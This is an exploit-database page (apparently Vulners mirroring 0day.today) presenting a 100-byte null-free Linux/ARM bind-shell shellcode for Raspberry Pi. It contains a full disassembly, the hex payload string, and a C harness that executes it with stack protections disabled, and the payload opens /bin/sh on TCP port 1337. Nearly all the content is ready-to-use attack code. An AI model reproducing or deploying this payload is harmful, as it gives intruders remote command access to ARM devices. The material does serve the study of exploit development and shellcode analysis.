Lucene search
K

Linux/ARM - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes)

🗓️ 16 Jun 2020 00:00:00Reported by Anurag SrivastavaType 
zdt
 zdt
🔗 0day.today👁 111 Views

Linux/ARM - Bind Shell Shellcode for Raspberry P

Code
# Title: Linux/ARM (Raspberry Pi) - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes) 
# Date: 2020-06-09
# Architecture: armv6l GNU/Linux
# Website: http://www.theanuragsrivastava.com
# Author: Anurag Srivastava


/*


bindwala:     file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
   10054:	e28f3001 	add	r3, pc, #1
   10058:	e12fff13 	bx	r3
   1005c:	2001      	movs	r0, #1
   1005e:	1c01      	adds	r1, r0, #0
   10060:	3001      	adds	r0, #1
   10062:	4052      	eors	r2, r2
   10064:	27c8      	movs	r7, #200	; 0xc8
   10066:	3751      	adds	r7, #81	; 0x51
   10068:	df01      	svc	1
   1006a:	1c04      	adds	r4, r0, #0
   1006c:	46c0      	nop			; (mov r8, r8)
   1006e:	a10e      	add	r1, pc, #56	; (adr r1, 100a8 <struct_addr>)
   10070:	704a      	strb	r2, [r1, #1]
   10072:	604a      	str	r2, [r1, #4]
   10074:	2210      	movs	r2, #16
   10076:	3701      	adds	r7, #1
   10078:	df01      	svc	1
   1007a:	1c20      	adds	r0, r4, #0
   1007c:	2102      	movs	r1, #2
   1007e:	187f      	adds	r7, r7, r1
   10080:	df01      	svc	1
   10082:	1c20      	adds	r0, r4, #0
   10084:	4049      	eors	r1, r1
   10086:	1c0a      	adds	r2, r1, #0
   10088:	3701      	adds	r7, #1
   1008a:	df01      	svc	1
   1008c:	1c04      	adds	r4, r0, #0
   1008e:	2102      	movs	r1, #2

00010090 <loop>:
   10090:	1c20      	adds	r0, r4, #0
   10092:	273f      	movs	r7, #63	; 0x3f
   10094:	df01      	svc	1
   10096:	3901      	subs	r1, #1
   10098:	d5fa      	bpl.n	10090 <loop>
   1009a:	a005      	add	r0, pc, #20	; (adr r0, 100b0 <spawnit>)
   1009c:	1a49      	subs	r1, r1, r1
   1009e:	1c0a      	adds	r2, r1, #0
   100a0:	71c1      	strb	r1, [r0, #7]
   100a2:	270b      	movs	r7, #11
   100a4:	df01      	svc	1
   100a6:	46c0      	nop			; (mov r8, r8)

000100a8 <struct_addr>:
   100a8:	3905ff02 	.word	0x3905ff02
   100ac:	01010101 	.word	0x01010101

000100b0 <spawnit>:
   100b0:	6e69622f 	.word	0x6e69622f
   100b4:	5868732f 	.word	0x5868732f
pi@raspberrypi:~/hex $ nano tada.c 
pi@raspberrypi:~/hex $ gcc -fno-stack-protector -z execstack tada.c -o tada
pi@raspberrypi:~/hex $ ./tada
Shellcode Length:  100

*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x01\x20\x01\x1c\x01\x30\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\xc0\x46\x0e\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x7f\x18\x01\xdf\x20\x1c\x49\x40\x0a\x1c\x01\x37\x01\xdf\x04\x1c\x02\x21\x20\x1c\x3f\x27\x01\xdf\x01\x39\xfa\xd5\x05\xa0\x49\x1a\x0a\x1c\xc1\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x05\x39\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
main(){

   printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
   int (*ret)() = (int(*)())shellcode;

   ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2020 00:00Current
7.4High risk
Vulners AI Score7.4
111